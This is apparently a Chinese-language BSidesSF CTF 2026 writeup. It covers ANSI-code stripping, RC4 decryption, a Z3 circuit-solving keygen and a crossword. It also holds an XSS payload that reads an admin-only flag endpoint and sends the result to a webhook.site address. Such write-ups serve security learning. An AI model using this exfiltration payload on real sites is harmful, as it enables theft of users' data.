BSidesSF CTF 2026 Writeup

BSidesSF CTF 2026 Writeup

这篇文章集中记录 BSidesSF CTF 2026 中几道题的解题过程。同一场比赛的题目放在同一篇文章中,方便按目录跳转。

题目索引

roar

题目分析

狮子的彩色效果是通过 ANSI 转义序列实现的。题目把一部分字符藏在颜色控制码之间,因此只要去掉这些控制码,就能看到组成图案的原始字符。

解法

使用 sed 删除 ANSI 颜色控制序列:

1
sed -r 's/\x1B\[[0-9;]*[a-zA-Z]//g' /home/ctf/flag.txt

执行后,原本被颜色隐藏的字符会全部显示出来,flag 就在输出内容中。

web-tutorial-1

题目分析

题目的 CSP 允许 unsafe-inline,同时 connect-src * 没有限制请求目标。因此可以构造两步 XSS:

  1. 以管理员身份请求 /xss-one-flag,读取 flag。
  2. 将读取结果发送到自己控制的公网地址。

解法

先使用 webhook.site 生成临时接收地址,然后提交下面的 Payload。Payload 使用题目提示中的 XMLHttpRequest,避免额外的兼容性问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
var xhrFlag = new XMLHttpRequest();
xhrFlag.open('GET', '/xss-one-flag', true);
xhrFlag.onload = function () {
var flag = xhrFlag.responseText;
var xhrExfil = new XMLHttpRequest();
xhrExfil.open(
'GET',
'https://111bbc9e-1fe5-4820-b4ce-e7282e1100a9.webhook.site?flag=' +
encodeURIComponent(flag),
true
);
xhrExfil.send();
};
xhrFlag.send();
</script>

提交后,在接收地址的请求记录中读取外带的 flag。原始材料没有保留最终 flag 字符串。

Private Binary

题目分析

Linux 内核支持通过 register_binfmt 注册自定义可执行文件格式。本题的 loader.ko 实现了一套加密可执行文件的加载逻辑,核心目标是逆向加载函数,还原加密算法和密钥。

解法

在 loader.ko 中定位核心函数 load_encfile_binary 后,可以看到它使用的是标准 RC4,密钥为 BSIDES_SF_2026。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def rc4(key: bytes, data: bytes) -> bytes:
state = list(range(256))
j = 0

# KSA:密钥调度算法
for i in range(256):
j = (j + state[i] + key[i % len(key)]) & 0xff
state[i], state[j] = state[j], state[i]

# PRGA:伪随机生成算法
i = j = 0
result = bytearray()
for byte in data:
i = (i + 1) & 0xff
j = (j + state[i]) & 0xff
state[i], state[j] = state[j], state[i]
result.append(byte ^ state[(state[i] + state[j]) & 0xff])
return bytes(result)


with open("flag.enc", "rb") as file:
encrypted = file.read()

decrypted = rc4(b"BSIDES_SF_2026", encrypted)
start = decrypted.find(b"CTF{")
end = decrypted.find(b"}", start)
print(decrypted[start:end + 1].decode())

kitty

题目分析

终端通过 TERM=xterm-kitty 判断终端类型,并据此隐藏内容。

解法

理论上直接设置环境变量并读取文件即可:

1
2
export TERM=xterm-kitty
cat /home/ctf/flag.kitty

如果 Web 终端没有正常回显,可以在本地启动 Kitty 终端,再把终端输出转回图片查看。图片内容就是 flag。题目材料中没有保留这张图片或其中的具体 flag,因此这里不补写猜测值。

flag-factory-pro

题目分析

程序的核心逻辑如下:

  1. generate_circuit 随机生成一个布尔电路,包含 125 个输入 bit 和 250 个逻辑门,并记录每个门的期望输出。
  2. build_circuit_blob 将电路序列化。非 debug 模式下,Blob 长度为 1500 字节,之后再进行 Base64 编码。
  3. 用户输入格式为 XXXXX-XXXXX-XXXXX-XXXXX-XXXXX。parse_product_key 将 25 个 Base32 字符解析为 125 bit。
  4. validate_key_bits 使用这 125 个 bit 运行电路,每个门的输出都必须和期望值一致。

Blob 中每个逻辑门占 6 字节:

1
2
inp1 (big-endian u16) | inp2 (big-endian u16) |
gate_type (u8) | expected_output (u8)

8 种逻辑门的定义如下:

type 逻辑
0 AND
1 OR
2 XOR
3 NAND
4 NOR
5 XNOR
6 (NOT A) OR B
7 A AND (NOT B)

这实际上是一个电路可满足性问题。已知电路结构和每个门的期望输出后,可以用 Z3 建模求出满足条件的 125 个输入 bit,再把 bit 转回 Base32 key。

Z3 求解脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import base64
import socket
import struct

from z3 import And, Bool, BoolVal, If, Not, Or, Solver, Xor, is_true, sat


def apply_gate(a, b, gate_type):
gate_type &= 0x7
return If(
gate_type == 0,
And(a, b),
If(
gate_type == 1,
Or(a, b),
If(
gate_type == 2,
Xor(a, b),
If(
gate_type == 3,
Not(And(a, b)),
If(
gate_type == 4,
Not(Or(a, b)),
If(
gate_type == 5,
Not(Xor(a, b)),
If(gate_type == 6, Or(Not(a), b), And(a, Not(b))),
),
),
),
),
),
)


def parse_blob(blob):
# Debug 模式可能在开头携带 125 字节输入,先去掉这部分。
if len(blob) == 1625:
blob = blob[125:]

gates = []
for index in range(250):
offset = index * 6
gates.append(
(
struct.unpack_from(">H", blob, offset)[0],
struct.unpack_from(">H", blob, offset + 2)[0],
blob[offset + 4],
blob[offset + 5],
)
)
return gates


def solve(gates):
solver = Solver()
values = [Bool(f"b{i}") for i in range(125)]

for inp1, inp2, gate_type, expected in gates:
output = apply_gate(values[inp1], values[inp2], gate_type)
solver.add(output == BoolVal(expected != 0))
values.append(output)

assert solver.check() == sat
model = solver.model()
return [
int(is_true(model.eval(values[i], model_completion=True)))
for i in range(125)
]


BASE32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"


def bits_to_key(bits):
chars = []
for offset in range(0, 125, 5):
value = sum(bits[offset + bit] << (4 - bit) for bit in range(5))
chars.append(BASE32[value])
return "-".join(
"".join(chars[offset:offset + 5]) for offset in range(0, 25, 5)
)


def recv_until(sock, marker, timeout=60):
sock.settimeout(timeout)
data = b""
while marker not in data:
data += sock.recv(4096)
return data


host = "flag-factory-pro-f17fb7f3.challenges.bsidessf.net"
port = 10110

with socket.create_connection((host, port), timeout=60) as sock:
recv_until(sock, b"ffpro> ")
sock.sendall(b"register\n")
data = recv_until(sock, b"-----END REGISTRATION REQUEST-----")

sock.settimeout(5)
try:
data += sock.recv(4096)
except socket.timeout:
pass

text = data.decode(errors="replace").replace("\r\n", "\n")
begin = "-----BEGIN REGISTRATION REQUEST-----\n"
start = text.index(begin) + len(begin)
end = text.index("-----END REGISTRATION REQUEST-----")
blob = base64.b64decode(text[start:end].replace("\n", ""))

key = bits_to_key(solve(parse_blob(blob)))
print(f"[+] Key: {key}")

recv_until(sock, b"Enter registration key: ")
sock.sendall((key + "\n").encode())
recv_until(sock, b"ffpro> ")

sock.sendall(b"makeflag\n")
print(recv_until(sock, b"ffpro> ").decode())

运行结果

求解得到注册 key:

1
CIAIC-NG4QB-4CKEQ-B4IHA-CGAQY

注册成功后执行 makeflag,得到:

1
CTF{circuit_network_combinator}

crossworthy2026

题目分析

这是一个填词游戏题。70A 的答案是 MP3,而且和所有线索都能对应上。

解法

  1. 核心属性:MP3,即 MPEG-1 Audio Layer 3,是最常见的有损音频编码格式,符合“format for encoding audio”。
  2. 打破填字规则:传统填字游戏通常只填字母,但 MP3 中包含数字 3,对应“breaks a typical crossword rule”。
  3. 关联线索:
    • 15A “Like ZIPs”:ZIP 和 MP3 都属于压缩格式。
    • 41A “binary-based system”:MP3 是面向数字设备的音频格式。
    • 58A “44,100 of these per second”:44,100 Hz 是常见的音频采样率。
  4. 圈格设计:三组圈格分别对应 M、P、3,属于填字游戏中的 rebus 设计。

因此,70A 的答案是 MP3。